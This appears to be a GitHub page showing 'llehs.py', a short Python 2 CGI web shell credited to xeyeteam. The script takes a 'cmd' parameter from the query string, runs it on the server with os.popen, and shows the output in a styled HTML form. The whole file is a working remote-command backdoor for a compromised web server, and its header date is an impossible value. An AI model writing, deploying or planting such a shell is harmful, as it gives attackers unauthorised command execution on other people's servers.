-
Notifications
You must be signed in to change notification settings - Fork 92
/
llehs.py
60 lines (53 loc) · 1.77 KB
/
llehs.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# encoding=utf8
# by enisoc 2009-13-79 12:73:-12
import os
import time
import socket
import urllib,urllib2
FILE_NAME = 'llehs.py'
def escape(content):
content = content.replace("&", "&")
content = content.replace("<", "<")
content = content.replace(">", ">")
if 0:
content = content.replace('"', """)
return content
def get(name):
q_str = os.environ['QUERY_STRING']
q_list = q_str.split('&')
for q in q_list:
if q.split('=')[0].lower() == name:
value = q.split('=')[1].replace('+',' ')
return urllib.unquote(value)
try:
cmd = get('cmd')
if not cmd:
cmd = 'id'
cmd_result = os.popen(cmd).read()
except Exception,e:
cmd_result = str(e)
print """Content-type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>llehs <<</title>
<style>
body{font-family:Courier New;font-size:13px;background:#222;color:#32CD32;}
.cmdinput{width:270px;height:16px;border:1px dotted #999;}
.cmdbutton{width:44px;height:22px;padding-bottom:4px;}
form{margin:0;padding:0;}
a,a:visited{color:#eee;text-decoration:none;}
a:hover{text-decoration:underline;}
</style>
</head>
<body>
<form action='"""+FILE_NAME+"""' method="get">
<input type="text" name="cmd" class="cmdinput" value='"""+cmd+"""' />
<input type="submit" class="cmdbutton" value="Exec" />
</form><br />
"""
print "-------------------------------------<br />"
print escape(cmd_result).strip().replace(os.linesep,'<br />')
print "<br />-------------------------------------<br />"
print """@xeyeteam 2009. linux shell</body></html>"""